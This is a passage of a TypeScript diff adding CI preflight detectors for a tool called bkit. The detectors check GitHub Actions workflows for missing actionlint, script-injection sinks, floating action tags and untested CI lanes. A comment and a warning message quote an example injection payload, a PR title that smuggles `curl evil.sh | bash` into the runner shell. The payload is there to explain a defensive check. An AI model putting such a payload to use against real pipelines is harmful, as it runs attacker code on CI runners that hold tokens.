+ /**
125
+ * Detect a `.github/workflows/bkit-ci.yml` adopted from bkit's template with no `actionlint` step.
126
+ * `yaml.safe_load` (and generic YAML linters) accept workflows that are valid YAML
127
+ * but invalid GitHub Actions (doubled quotes inside ${{ }}, always-true `if:` block
128
+ * scalars). actionlint is GHA-aware and catches that class.
129
+ *
130
+ * Only fires when the consumer adopted the bkit-ci.yml template (ADOPTED_CI_JOB_RE).
131
+ * bkit-ci.yml is the consumer's file, so `bkit install` never adds the step — the action
132
+ * inlines the manual step.
133
+ */
134
+ export function detectCiYmlMissingActionlint(cwd: string): PreflightFinding | null {
135
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
136
+ if (!fs.existsSync(ciPath)) return null;
137
+ const content = fs.readFileSync(ciPath, "utf-8");
138
+ if (!ADOPTED_CI_JOB_RE.test(content)) return null;
139
+ if (/actionlint/i.test(content)) return null;
140
+ return {
141
+ id: "ci-yml-missing-actionlint",
142
+ severity: "advisory",
143
+ detect:
144
+ ".github/workflows/bkit-ci.yml (adopted from bkit's template) has no actionlint step. yaml.safe_load accepts workflows that are valid YAML but invalid GitHub Actions (e.g. doubled quotes inside ${{ }}, an always-true `if:` block scalar); actionlint is GHA-aware and catches them.",
145
+ action:
146
+ "Add an actionlint step among the static checks in .github/workflows/bkit-ci.yml (before the test/build group):\n\n" +
147
+ " - name: Run actionlint\n" +
148
+ " if: steps.cache.outputs.skip != 'true'\n" +
149
+ " run: |\n" +
150
+ ' curl -sSfL https://raw.githubusercontent.com/rhysd/actionlint/v1.7.12/scripts/download-actionlint.bash -o "$RUNNER_TEMP/download-actionlint.bash"\n' +
151
+ ' bash "$RUNNER_TEMP/download-actionlint.bash" 1.7.12 "$RUNNER_TEMP"\n' +
152
+ ' "$RUNNER_TEMP/actionlint" -color',
153
+ };
154
+ }
155
+
156
+ /**
157
+ * Detect an untrusted GitHub Actions expression interpolated directly into a `run:` shell
158
+ * body in `.github/workflows/bkit-ci.yml` — the classic GHA script-injection sink. A PR titled
159
+ * `"; curl evil.sh | bash; "` expands into the runner's shell when `${{ github.event.* }}`
160
+ * (or `github.head_ref`) is inlined into `run:` text. The safe form is env-indirection: map
161
+ * the value to an `env:` var and reference `$VAR` (GitHub runtime-expands env values and never
162
+ * re-parses them as shell). bkit-ci.yml is the consumer's file — bkit's template was hardened but
163
+ * nothing back-fills a copy adopted before the fix, so it keeps the vulnerable inline form.
164
+ * This surfaces it as a dedicated security finding.
165
+ *
166
+ * Line-based (no YAML dep, like the sibling bkit-ci.yml detectors): tracks `run:` blocks by
167
+ * indentation and flags untrusted expressions inside their bodies only. `env:` / `if:` /
168
+ * `with:` / `concurrency:` contexts are NOT run bodies, so the safe env-indirection form does
169
+ * not fire; a YAML-commented `run:` key never opens a body, so shipped commented stubs stay
170
+ * silent. Only scans a bkit-ci.yml adopted from bkit's template (ADOPTED_CI_JOB_RE).
171
+ */
172
+ export function detectCiYmlRunInjection(cwd: string): PreflightFinding | null {
173
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
174
+ if (!fs.existsSync(ciPath)) return null;
175
+ const content = fs.readFileSync(ciPath, "utf-8");
176
+ if (!ADOPTED_CI_JOB_RE.test(content)) return null;
177
+
178
+ // Attacker-controllable payload contexts: any github.event.* field and github.head_ref.
179
+ // github.base_ref / github.event_name / SHAs are constrained values and are excluded
180
+ // (the shipped commented stubs reference github.base_ref).
181
+ const UNTRUSTED = /\$\{\{[^}]*\b(?:github\.event\.[\w.]+|github\.head_ref)\b[^}]*\}\}/;
182
+
183
+ const indentOf = (l: string): number => l.length - l.replace(/^[ \t]*/, "").length;
184
+ const hits: string[] = [];
185
+ let runKeyIndent: number | null = null; // indent of an active `run:` key; its body is deeper
186
+
187
+ for (const line of content.split("\n")) {
188
+ if (runKeyIndent !== null) {
189
+ if (line.trim() === "") continue; // blank lines belong to the block scalar
190
+ if (indentOf(line) <= runKeyIndent) {
191
+ runKeyIndent = null; // block ended — re-examine this line below
192
+ } else {
193
+ if (UNTRUSTED.test(line)) hits.push(line.trim());
194
+ continue;
195
+ }
196
+ }
197
+ if (/^\s*#/.test(line)) continue; // a commented `run:` key never opens a body
198
+ // `run:` may be the first key of a `- ` list item (`- run: |`), which shifts the real
199
+ // key column; body membership is measured from the `run:` token, not the line start, so a
200
+ // sibling key (`env:` / `if:`) at the run: column correctly closes the block.
201
+ const m = /^([ \t]*)(-[ \t]+)?run:[ \t]*(.*)$/.exec(line);
202
+ if (!m) continue;
203
+ const keyIndent = (m[1] ?? "").length + (m[2] ?? "").length;
204
+ const rest = (m[3] ?? "").trim();
205
+ if (rest === "" || /^[|>]/.test(rest)) {
206
+ runKeyIndent = keyIndent; // block scalar (`run: |` / `run: >`) — body follows
207
+ } else if (UNTRUSTED.test(rest)) {
208
+ hits.push(line.trim()); // inline `run: <cmd with ${{ … }}>`
209
+ }
210
+ }
211
+
212
+ if (hits.length === 0) return null;
213
+ const shown = hits
214
+ .slice(0, 3)
215
+ .map((h) => ` ${h}`)
216
+ .join("\n");
217
+ const more = hits.length > 3 ? `\n … (+${hits.length - 3} more)` : "";
218
+ return {
219
+ id: "ci-yml-run-injection",
220
+ severity: "advisory",
221
+ detect:
222
+ "SECURITY: .github/workflows/bkit-ci.yml interpolates untrusted GitHub Actions input " +
223
+ "(github.event.* / github.head_ref) directly into a run: shell body — a script-injection " +
224
+ 'sink. A PR title or branch name like `"; curl evil.sh | bash; "` then runs on your CI ' +
225
+ `runner (which holds GITHUB_TOKEN):\n${shown}${more}`,
226
+ action:
227
+ "Route each untrusted value through an env: var and reference it as a shell variable — " +
228
+ "GitHub runtime-expands env values and never re-parses them as shell, closing the injection:\n\n" +
229
+ " - name: <step>\n" +
230
+ " env:\n" +
231
+ " PR_TITLE: ${{ github.event.pull_request.title }}\n" +
232
+ " run: |\n" +
233
+ ' MSG="$PR_TITLE" # NOT MSG="${{ github.event.pull_request.title }}"\n\n' +
234
+ "Apply the same env-indirection to every flagged line (github.event.*, github.head_ref). " +
235
+ "bkit's current bkit-ci.yml template already uses this form — re-sync the affected steps from " +
236
+ ".bkit/templates/.github/workflows/bkit-ci.yml if you adopted it before the hardening.",
237
+ };
238
+ }
239
+
240
+ /**
241
+ * Detect drift of the consumer's `bkit-tests-check` capstone from bkit's canonical
242
+ * CI contract. bkit-ci.yml is the consumer's copy of a template; bkit never rewrites it.
243
+ * WARNING-ONLY presence check: flags the ABSENCE of a known-good fragment, never
244
+ * "differs from canonical". Fires when bkit-ci.yml defines a bkit-tests-check job (the
245
+ * template ships one).
246
+ *
247
+ * Every check reads `code` (full-line comments stripped): the template's commented
248
+ * scaffold reference names `bkit-tests-check`, `!cancelled()` and `live_ran`.
249
+ */
250
+ export function detectCiYmlCapstoneContractDrift(cwd: string): PreflightFinding | null {
251
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
252
+ if (!fs.existsSync(ciPath)) return null;
253
+ const content = fs.readFileSync(ciPath, "utf-8");
254
+ const code = content
255
+ .split("\n")
256
+ .filter((line) => !/^\s*#/.test(line))
257
+ .join("\n");
258
+ if (!/^\s+bkit-tests-check:/m.test(code)) return null; // no capstone job
259
+
260
+ const missing: string[] = [];
261
+
262
+ // 1. Capstone must run on !cancelled() (NOT always()) — else a concurrency-cancel
263
+ // stamps a bogus failure on the required check and blocks release PRs.
264
+ if (!code.includes("!cancelled()")) {
265
+ missing.push(
266
+ "the capstone `if: ${{ !cancelled() }}` guard — without it a concurrency-cancel stamps a bogus failure on the required check (use `!cancelled()`, never `always()`).",
267
+ );
268
+ }
269
+
270
+ // 2. One run per branch or pull request. A newer run cancels the older one on every
271
+ // event EXCEPT the default branch, which queues (a cancellation mid-promote could
272
+ // strand production across two releases). The group keys a PR on its number and a push
273
+ // on the ref — not github.run_id, which never collides and so never cancels. A push
274
+ // then plans from the last green run.
275
+ // Flagged: an unconditional cancel (the default branch would be cancelled too), a
276
+ // PR-only cancel, or a group keyed on github.run_id.
277
+ const unconditionalCancel = /cancel-in-progress:\s*true(?:\s|$)/.test(code);
278
+ const prOnlyCancel =
279
+ /cancel-in-progress:\s*\$\{\{\s*github\.event_name\s*==\s*'pull_request'\s*\}\}/.test(code);
280
+ const runIdGroup = /group:[^\n]*github\.run_id/.test(code);
281
+ if (/concurrency:/.test(code) && (unconditionalCancel || prOnlyCancel || runIdGroup)) {
282
+ missing.push(
283
+ "one run per branch or pull request, with the default branch QUEUING — `cancel-in-progress: ${{ github.ref != 'refs/heads/<default-branch>' }}`, group `ci-${{ github.workflow }}-${{ github.event_name == 'pull_request' && format('pr-{0}', github.event.pull_request.number) || github.ref }}`. Cancelling the default branch mid-promote can strand production across two releases; a PR-only cancel, an unconditional cancel, or a group keyed on `github.run_id` also lets a superseded run keep running. A push plans from the last green run on the branch, so a cancelled run's changes stay in scope.",
284
+ );
285
+ }
286
+
287
+ // 3. Non-hollow capstone: every test lane's executed count must be read downstream, not
288
+ // just its result (passWithNoTests / no-CI-home / all-skipIf are green-with-zero).
289
+ // Checked per lane: one lane's count says nothing about another's.
290
+ const lanes = [
291
+ ...code.matchAll(/^\s+(bkit-tests-(?:unit|integration|e2e|live)(?:-[a-z0-9]+)*):\s*$/gm),
292
+ ].map((m) => m[1]);
293
+ const uncounted = lanes.filter(
294
+ (lane) => !new RegExp(`needs\\.${lane}\\.outputs\\.\\w+_(?:ran|count)\\b`).test(code),
295
+ );
296
+ if (uncounted.length > 0) {
297
+ missing.push(
298
+ `an executed-count assertion (non-hollow gate) for ${uncounted.map((l) => "`" + l + "`").join(", ")} — the capstone should read each lane's count output (e.g. \`needs.bkit-tests-live-web.outputs.live_ran\`) and assert >0 when that tier is planned, else passWithNoTests / a tagged suite with no CI home / all-skipIf tests pass vacuously. See docs/testing.md § "Validated means executed".`,
299
+ );
300
+ }
301
+
302
+ if (missing.length === 0) return null;
303
+ return {
304
+ id: "ci-yml-capstone-contract-drift",
305
+ severity: "advisory",
306
+ detect:
307
+ `.github/workflows/bkit-ci.yml (adopted from bkit's template) has a bkit-tests-check capstone missing ${missing.length} ` +
308
+ "load-bearing invariant(s) from bkit's canonical CI contract. bkit-ci.yml is yours to own, so bkit can't rewrite it — this is a heads-up, not a hard failure.",
309
+ action:
310
+ "Consider restoring these to keep `green == validated` (see the FULL CI SCAFFOLD REFERENCE in the bkit bkit-ci.yml template):\n\n" +
311
+ missing.map((m) => " - " + m).join("\n"),
312
+ };
313
+ }
314
+
315
+ // Tag-gated tiers invoked via a per-package script: a tagged test whose owning package
316
+ // declares no matching script is silently skipped by `turbo run <script>` (exits 0) —
317
+ // the tag is dead and the tier ghost-greens. Suffix-based tiers (integration via
318
+ // *.integration.test.ts) are covered by the bkit-ci.yml template's own missing-script warning.
319
+ const TAG_SCRIPT_HOMES: ReadonlyArray<{ tag: string; script: string }> = [
320
+ { tag: "@live", script: "test:live" },
321
+ { tag: "@smoke", script: "test:smoke" },
322
+ ];
323
+
324
+ const HOME_WALK_SKIP_DIRS = new Set([
325
+ "node_modules",
326
+ ".git",
327
+ ".worktrees", // local git worktree roots — checkouts of the same repo, not part of it
328
+ "dist",
329
+ ".next",
330
+ "coverage",
331
+ ".turbo",
332
+ "playwright-report",
333
+ "test-results",
334
+ ".vercel",
335
+ ]);
336
+
337
+ function walkRepoForHomeCheck(
338
+ dir: string,
339
+ testFiles: string[],
340
+ packageJsons: string[],
341
+ depth = 0,
342
+ ): void {
343
+ if (depth > 8) return;
344
+ let entries: fs.Dirent[];
345
+ try {
346
+ entries = fs.readdirSync(dir, { withFileTypes: true });
347
+ } catch (err) {
348
+ // Unreadable directory (permissions / not-a-dir race): skip this subtree, logged
349
+ // under BKIT_DEBUG.
350
+ if (process.env.BKIT_DEBUG)
351
+ console.error(`[bkit] home-check skipped ${dir}: ${(err as Error).message}`);
352
+ return;
353
+ }
354
+ for (const e of entries) {
355
+ const full = path.join(dir, e.name);
356
+ if (e.isDirectory()) {
357
+ if (HOME_WALK_SKIP_DIRS.has(e.name)) continue;
358
+ walkRepoForHomeCheck(full, testFiles, packageJsons, depth + 1);
359
+ } else if (e.name === "package.json") {
360
+ packageJsons.push(full);
361
+ } else if (/\.(test|spec)\.[cm]?tsx?$/.test(e.name)) {
362
+ testFiles.push(full);
363
+ }
364
+ }
365
+ }
366
+
367
+ // A tag gates a tier by appearing in a test's NAME — the runner selects it with a
368
+ // `-t @live` / `--testNamePattern` filter, which matches the test TITLE. So only a tag
369
+ // inside a test-title string is a real tagged test; the same token in a code comment or
370
+ // an unrelated string literal (e.g. a doc-comment that documents the convention) is not.
371
+ // Matches the tag inside the title argument of it / test / describe / bench / suite,
372
+ // including `.only` / `.skip` / `.each(table)` chains and ' " ` quotes.
373
+ const TEST_DEF_TITLE =
374
+ /\b(?:it|test|describe|bench|suite)(?:\.\w+)*\s*(?:\([^)]*\)\s*)?\(\s*(['"`])((?:\\.|(?!\1)[\s\S])*?)\1/g;
375
+
376
+ // Mark every byte that sits inside a string, template literal, or comment. A REAL
377
+ // test definition's `it`/`describe` keyword is code (mask 0); a keyword that appears
378
+ // INSIDE a string is a fixture — a tag-linter package embeds sample test source as a
379
+ // string literal (`const F = \`describe("@live X", …)\``) to lint it. Masked keyword
380
+ // positions are skipped; real, runnable tests are never authored inside a quote.
381
+ //
382
+ // `'`/`"` strings terminate at end-of-line; only template literals span lines, so a
383
+ // mis-lex from a regex literal containing a lone quote stays on its own line. Regex
384
+ // literals are otherwise treated as plain code.
385
+ function stringCommentMask(text: string): Uint8Array {
386
+ const mask = new Uint8Array(text.length);
387
+ const n = text.length;
388
+ let i = 0;
389
+ while (i < n) {
390
+ const c = text[i];
391
+ if (c === "/" && text[i + 1] === "/") {
392
+ while (i < n && text[i] !== "\n") mask[i++] = 1;
393
+ continue;
394
+ }
395
+ if (c === "/" && text[i + 1] === "*") {
396
+ mask[i++] = 1;
397
+ mask[i++] = 1;
398
+ while (i < n && !(text[i] === "*" && text[i + 1] === "/")) mask[i++] = 1;
399
+ if (i < n) {
400
+ mask[i++] = 1;
401
+ mask[i++] = 1;
402
+ }
403
+ continue;
404
+ }
405
+ if (c === '"' || c === "'" || c === "`") {
406
+ const singleLine = c !== "`";
407
+ mask[i++] = 1;
408
+ while (i < n) {
409
+ if (text[i] === "\\") {
410
+ mask[i++] = 1;
411
+ if (i < n) mask[i++] = 1;
412
+ continue;
413
+ }
414
+ if (text[i] === c) {
415
+ mask[i++] = 1;
416
+ break;
417
+ }
418
+ if (singleLine && text[i] === "\n") break; // unterminated — stop at line end
419
+ mask[i++] = 1;
420
+ }
421
+ continue;
422
+ }
423
+ i++;
424
+ }
425
+ return mask;
426
+ }
427
+
428
+ function tagUsedInTestTitle(text: string, tag: string, mask: Uint8Array): boolean {
429
+ TEST_DEF_TITLE.lastIndex = 0;
430
+ let m: RegExpExecArray | null;
431
+ while ((m = TEST_DEF_TITLE.exec(text)) !== null) {
432
+ if (mask[m.index]) continue; // keyword sits inside a string/comment — a fixture, not a real test
433
+ if (m[2].includes(tag)) return true;
434
+ }
435
+ return false;
436
+ }
437
+
438
+ /**
439
+ * Detect `@live` / `@smoke`-tagged tests whose owning package declares no matching
440
+ * `test:live` / `test:smoke` script — they have "no CI home": `turbo run test:live`
441
+ * skips a package with no such script and exits 0, so the tagged tests never run and the
442
+ * live/smoke tier reports green having executed nothing.
443
+ *
444
+ * Only flags a tag when the convention is ACTIVE in the repo (at least one package
445
+ * declares the script); a silent no-op otherwise. WARNING-only; the capstone's
446
+ * `run_live => live_ran > 0` assertion is the runtime check.
447
+ */
448
+ export function detectTaggedTestsWithoutCiHome(cwd: string): PreflightFinding | null {
449
+ const testFiles: string[] = [];
450
+ const packageJsons: string[] = [];
451
+ walkRepoForHomeCheck(cwd, testFiles, packageJsons);
452
+ if (testFiles.length === 0 || packageJsons.length === 0) return null;
453
+
454
+ // pkgPath -> scripts object; and the set of every script name declared anywhere.
455
+ const pkgScripts = new Map<string, Record<string, unknown>>();
456
+ const declaredScripts = new Set<string>();
457
+ for (const pj of packageJsons) {
458
+ try {
459
+ const parsed = JSON.parse(fs.readFileSync(pj, "utf-8")) as Record<string, unknown>;
460
+ const scripts = (parsed.scripts as Record<string, unknown>) ?? {};
461
+ pkgScripts.set(pj, scripts);
462
+ for (const name of Object.keys(scripts)) declaredScripts.add(name);
463
+ } catch {
464
+ pkgScripts.set(pj, {});
465
+ }
466
+ }
467
+
468
+ const nearestPkg = (fileDir: string): string | null => {
469
+ let dir = fileDir;
470
+ for (;;) {
471
+ const pj = path.join(dir, "package.json");
472
+ if (pkgScripts.has(pj)) return pj;
473
+ const parent = path.dirname(dir);
474
+ if (parent === dir || dir === cwd) return pkgScripts.has(pj) ? pj : null;
475
+ dir = parent;
476
+ }
477
+ };
478
+
479
+ const homeless = new Map<string, Set<string>>(); // tag -> set of "pkgdir (needs `script`)"
480
+ for (const file of testFiles) {
481
+ let text: string;
482
+ try {
483
+ text = fs.readFileSync(file, "utf-8");
484
+ } catch {
485
+ continue;
486
+ }
487
+ let mask: Uint8Array | null = null; // lazily built on the first tag that survives fast-reject
488
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
489
+ if (!declaredScripts.has(script)) continue; // convention not active for this tag
490
+ if (!text.includes(tag)) continue; // fast reject before the title-context regex
491
+ mask ??= stringCommentMask(text);
492
+ if (!tagUsedInTestTitle(text, tag, mask)) continue; // tag must be in a real test TITLE, not a comment/string/fixture
493
+ const pj = nearestPkg(path.dirname(file));
494
+ if (!pj) continue;
495
+ if (typeof pkgScripts.get(pj)?.[script] !== "string") {
496
+ const rel = path.relative(cwd, path.dirname(pj)) || ".";
497
+ if (!homeless.has(tag)) homeless.set(tag, new Set());
498
+ homeless.get(tag)?.add(rel);
499
+ }
500
+ }
501
+ }
502
+
503
+ if (homeless.size === 0) return null;
504
+ const lines: string[] = [];
505
+ for (const { tag, script } of TAG_SCRIPT_HOMES) {
506
+ const pkgs = homeless.get(tag);
507
+ if (pkgs && pkgs.size > 0) {
508
+ lines.push(
509
+ ` ${tag} (run by \`turbo run ${script}\`) → add \`${script}\` to: ${[...pkgs].sort().join(", ")}`,
510
+ );
511
+ }
512
+ }
513
+ return {
514
+ id: "tagged-tests-no-ci-home",
515
+ severity: "advisory",
516
+ detect:
517
+ "Found `@live`/`@smoke`-tagged tests in package(s) that declare no matching `test:live`/`test:smoke` script. `turbo run test:live` skips a package with no such script and exits 0 — the tagged tests never run, and the tier reports green having executed nothing (ghost-green / 'no CI home').",
518
+ action:
519
+ "Give each tagged suite a CI home — add the matching script to the package's package.json so the live/smoke tier actually invokes it:\n\n" +
520
+ lines.join("\n") +
521
+ '\n\nExample: `"test:live": "vitest run --project live"` (or your runner\'s tag filter). The bkit-tests-check capstone\'s `run_live => live_ran > 0` assertion is the runtime backstop; this catches it earlier.',
522
+ };
523
+ }
524
+
525
+ // ---------------------------------------------------------------------------
526
+ // Consumer customisations that bkit ships primitives for but does NOT enforce
527
+ // — turbo inputs, integration runtime env, GHA pinning, renovate, etc.
528
+ // ---------------------------------------------------------------------------
529
+
530
+ /**
531
+ * Detect whether the consumer's turbo.json declares external-state proxies in
532
+ * `inputs` for `test:integration` / `test:e2e` tasks. Without proxies, turbo's
533
+ * content-keyed cache can replay a stale green when external state (Supabase
534
+ * migrations, fixture data, env templates) changed — the BAR-192 ghost-green
535
+ * failure mode documented in KN-24. Returns null when no turbo.json or no
536
+ * matching tasks.
537
+ */
538
+ export function detectTurboIntegrationInputs(cwd: string): PreflightFinding[] {
539
+ const findings: PreflightFinding[] = [];
540
+ const turboPath = path.join(cwd, "turbo.json");
541
+ if (!fs.existsSync(turboPath)) return findings;
542
+ let doc: { tasks?: Record<string, unknown>; pipeline?: Record<string, unknown> };
543
+ try {
544
+ doc = JSON.parse(fs.readFileSync(turboPath, "utf-8")) as typeof doc;
545
+ } catch {
546
+ return findings;
547
+ }
548
+ // turbo v2 → `tasks`; turbo v1 → `pipeline`. Either may be present.
549
+ const tasks = doc.tasks ?? doc.pipeline ?? {};
550
+ const externalProxyHints = ["migrations", "fixtures", "seed", ".env"];
551
+ for (const taskName of ["test:integration", "test:e2e"]) {
552
+ const task = (tasks as Record<string, unknown>)[taskName] as { inputs?: unknown[] } | undefined;
553
+ if (!task) continue;
554
+ const inputs = Array.isArray(task.inputs) ? (task.inputs as string[]) : [];
555
+ const hasProxy = inputs.some((i) =>
556
+ externalProxyHints.some((hint) => typeof i === "string" && i.toLowerCase().includes(hint)),
557
+ );
558
+ if (hasProxy) continue;
559
+ findings.push({
560
+ id: `turbo-${taskName.replace(":", "-")}-inputs-missing`,
561
+ severity: "advisory",
562
+ detect: `turbo.json#${tasks === doc.pipeline ? "pipeline" : "tasks"}.${taskName} has no external-state proxies in \`inputs\` (no migrations / fixtures / seed / .env entries).`,
563
+ action:
564
+ `Add the external-state proxies that affect this task's outcome to \`inputs\`:\n\n` +
565
+ ` "${taskName}": {\n` +
566
+ ` "cache": true,\n` +
567
+ ` "inputs": ["supabase/migrations/**", "**/fixtures/**", "**/.env.*.template"]\n` +
568
+ ` }\n\n` +
569
+ `Without them, turbo cache replays can ghost-green a stale SHA (KN-24): a concurrent migration on dev between PR-CI and merge-CI does NOT bust the cache, so the merge run replays the pre-migration green. Adjust the glob set to match your consumer's external-state surface.`,
570
+ });
571
+ }
572
+ return findings;
573
+ }
574
+
575
+ /**
576
+ * Detect whether the consumer's `test:integration` lane asserts real-service runtime
577
+ * env (TEST_REAL_APIS, SUPABASE_*, service-role URL refs). A lane that silently mocks
578
+ * integration tests passes CI without exercising real services (KN-23). Returns null if
579
+ * no `test:integration` script.
580
+ *
581
+ * All three gating layers are inspected before flagging a no-op lane: (1) the script
582
+ * string itself, (2) the CI workflow job that invokes `test:integration` (an
583
+ * env-agnostic script provisioned at the lane), (3) the vitest integration config the
584
+ * script points at (home of the documented in-file guard).
585
+ */
586
+ export function detectTestIntegrationEnv(cwd: string): PreflightFinding | null {
587
+ const read = readPackageJson(cwd);
588
+ if (!read.ok) return null;
589
+ const pkg = read.pkg as { scripts?: Record<string, string> };
590
+ const script = pkg.scripts?.["test:integration"];
591
+ if (!script) return null;
592
+ const realServiceHints = [
593
+ "TEST_REAL_APIS",
594
+ "SUPABASE_SERVICE_ROLE",
595
+ "SUPABASE_URL",
596
+ "service_role",
597
+ "supabase start",
598
+ ];
599
+ const hasHint = (t: string): boolean => realServiceHints.some((h) => t.includes(h));
600
+
601
+ // 1. Script body / chain (consumers commonly wrap real-API setup in a sibling script).
602
+ if (hasHint(script)) return null;
603
+
604
+ // 2. CI workflow lane: a workflow file that BOTH invokes `test:integration` AND
605
+ // provisions a real-service hint is the lane doing the gating — the pattern for an
606
+ // env-agnostic script (`supabase start` + `TEST_REAL_APIS` +
607
+ // service-role export around `turbo run test:integration`).
608
+ const workflowsDir = path.join(cwd, ".github", "workflows");
609
+ if (fs.existsSync(workflowsDir) && fs.statSync(workflowsDir).isDirectory()) {
610
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
611
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
612
+ const wf = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
613
+ if (wf.includes("test:integration") && hasHint(wf)) return null;
614
+ }
615
+ }
616
+
617
+ // 3. vitest integration config the script points at (or a conventional default) —
618
+ // where consumers document/enforce the per-file `TEST_REAL_APIS` guard.
619
+ const configFromScript = /--config[=\s]+(\S+)/.exec(script)?.[1];
620
+ const configCandidates = [
621
+ ...(configFromScript ? [configFromScript] : []),
622
+ "vitest.integration.config.ts",
623
+ "vitest.integration.config.mts",
624
+ "vitest.integration.config.js",
625
+ ];
626
+ for (const rel of configCandidates) {
627
+ const cfgPath = path.join(cwd, rel);
628
+ if (fs.existsSync(cfgPath) && hasHint(fs.readFileSync(cfgPath, "utf-8"))) return null;
629
+ }
630
+
631
+ return {
632
+ id: "test-integration-env-not-asserted",
633
+ severity: "advisory",
634
+ detect:
635
+ "`package.json#scripts.test:integration` exists, but no real-service env gating (TEST_REAL_APIS, SUPABASE_SERVICE_ROLE, service-role URL, or a `supabase start` chain) was found in the script, the CI workflow lane that runs it, or the vitest integration config.",
636
+ action:
637
+ "Confirm integration tests actually exercise real services — otherwise the CI integration step (your own, or the one in bkit's bkit-ci.yml template once adopted) is a no-op (KN-23 false-confidence loop). Provision the real-service env at ANY one of these layers (all are recognised):\n\n" +
638
+ ' - script: "test:integration": "TEST_REAL_APIS=true SUPABASE_URL=$SUPABASE_DEV_URL vitest run --config=vitest.integration.config.ts"\n' +
639
+ " - CI lane: set `TEST_REAL_APIS` / export the service-role URL / chain `supabase start` around `turbo run test:integration` in the `.github/workflows/*.yml` job that runs it (keeps local `pnpm test:integration` env-agnostic)\n" +
640
+ " - vitest integration config: document/enforce the per-file `TEST_REAL_APIS` guard in the config the script `--config`s to.",
641
+ };
642
+ }
643
+
644
+ /**
645
+ * Detect whether `.github/workflows/<file>.yml` uses floating action tag
646
+ * references (`uses: <owner>/<repo>@v\d+`) without SHA pinning. KN-3 mandates
647
+ * SHA pins for any workflow that runs with elevated permissions. Every workflow file
648
+ * is the consumer's (bkit ships workflows as templates only), so every one is scanned.
649
+ */
650
+ export function detectGhaFloatingTags(cwd: string): PreflightFinding | null {
651
+ const workflowsDir = path.join(cwd, ".github", "workflows");
652
+ if (!fs.existsSync(workflowsDir) || !fs.statSync(workflowsDir).isDirectory()) return null;
653
+ const floatingByFile = new Map<string, string[]>();
654
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
655
+ if (!entry.isFile()) continue;
656
+ if (!/\.ya?ml$/.test(entry.name)) continue;
657
+ const content = fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8");
658
+ // Matches `uses: org/repo@v1`, `uses: org/repo@v1.2.3`, but NOT `uses: org/repo@<40-char-sha>`.
659
+ const re = /uses:\s*([^\s@]+@v[\d.]+)/g;
660
+ const matches = Array.from(content.matchAll(re), (m) => m[1]!);
661
+ if (matches.length > 0) floatingByFile.set(entry.name, matches);
662
+ }
663
+ if (floatingByFile.size === 0) return null;
664
+ const lines = Array.from(floatingByFile.entries())
665
+ .map(([file, refs]) => ` ${file}: ${refs.join(", ")}`)
666
+ .join("\n");
667
+ return {
668
+ id: "gha-actions-floating-tags",
669
+ severity: "advisory",
670
+ detect: `.github/workflows/ uses floating-tag action refs (KN-3). Affected files:\n${lines}`,
671
+ action:
672
+ "Replace each `@vN[.N.N]` with a 40-character commit SHA and a `# vN.N.N` comment, e.g.:\n\n" +
673
+ " - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n\n" +
674
+ "Look up SHAs with `git ls-remote https://github.com/<org>/<repo>.git 'refs/tags/v*' | tail -3`. Apply to ALL workflow files that run with elevated permissions (`packages: write`, `id-token: write`). Copy `.github/renovate.json5` or `.github/dependabot.yml` from the bkit examples so SHA pins refresh on upstream releases. See docs/deployments.md § Dependency updaters.",
675
+ };
676
+ }
677
+
678
+ /**
679
+ * Detect whether the consumer composed a gate on bkit's `Detect Direct Push` step
680
+ * outputs (`should_force_build` / `should_run_full`). The bkit-ci.yml template ships these
681
+ * primitives only — without a consumer-side gate reading the outputs, the force-tag
682
+ * system documented in deployments.md is documentation-only.
683
+ *
684
+ * "Composition" = a `steps.detect.outputs.should_*` READ on an uncommented line, in a
685
+ * sibling workflow or in bkit-ci.yml itself. bkit's shipped steps only SET these outputs and
686
+ * the example E2E gate ships commented (`bkit-stub:e2e`), so neither false-positives.
687
+ */
688
+ export function detectRunLevelsNotComposed(cwd: string): PreflightFinding | null {
689
+ const ciPath = path.join(cwd, ".github", "workflows", "bkit-ci.yml");
690
+ if (!fs.existsSync(ciPath)) return null;
691
+ const ciContent = fs.readFileSync(ciPath, "utf-8");
692
+ // Bkit's bkit-ci.yml ships the `Detect Direct Push` step — if absent, no primitives to compose.
693
+ if (!ciContent.includes("Detect Direct Push")) return null;
694
+
695
+ const workflowsDir = path.join(cwd, ".github", "workflows");
696
+ // A consumer "composes" run-levels by READING bkit's force-tag outputs in a gate
697
+ // (`steps.detect.outputs.should_*`). bkit's own shipped bkit-ci.yml only SETS those outputs
698
+ // (`echo "should_force_build=true" >> $GITHUB_OUTPUT`) and gates internal steps on
699
+ // `cache.outputs.skip` — neither is consumer composition. So we look for the READ form,
700
+ // on uncommented lines only (the shipped `bkit-stub:e2e` block reads the outputs but is
701
+ // commented out by default — enabling it correctly counts as composition).
702
+ // bkit-ci.yml is the consumer's file, so matching the read form is what distinguishes a
703
+ // consumer gate.
704
+ const readTokens = [
705
+ "steps.detect.outputs.should_force_build",
706
+ "steps.detect.outputs.should_run_full",
707
+ ];
708
+ const composesRunLevels = (content: string): boolean =>
709
+ content
710
+ .split("\n")
711
+ .some((line) => !/^\s*#/.test(line) && readTokens.some((tok) => line.includes(tok)));
712
+
713
+ let composed = false;
714
+ // Any sibling workflow that gates on the outputs.
715
+ for (const entry of fs.readdirSync(workflowsDir, { withFileTypes: true })) {
716
+ if (!entry.isFile() || !/\.ya?ml$/.test(entry.name)) continue;
717
+ if (entry.name === "bkit-ci.yml") continue; // checked below
718
+ if (composesRunLevels(fs.readFileSync(path.join(workflowsDir, entry.name), "utf-8"))) {
719
+ composed = true;
720
+ break;
721
+ }
722
+ }
723
+ // Or a consumer-added gate inside bkit-ci.yml itself (e.g. an enabled bkit-stub:e2e block,
724
+ // or a deploy/job step reading the outputs).
725
+ if (!composed && composesRunLevels(ciContent)) composed = true;
726
+ if (composed) return null;
727
+ return {
728
+ id: "run-levels-not-composed",
729
+ severity: "advisory",
730
+ detect:
731
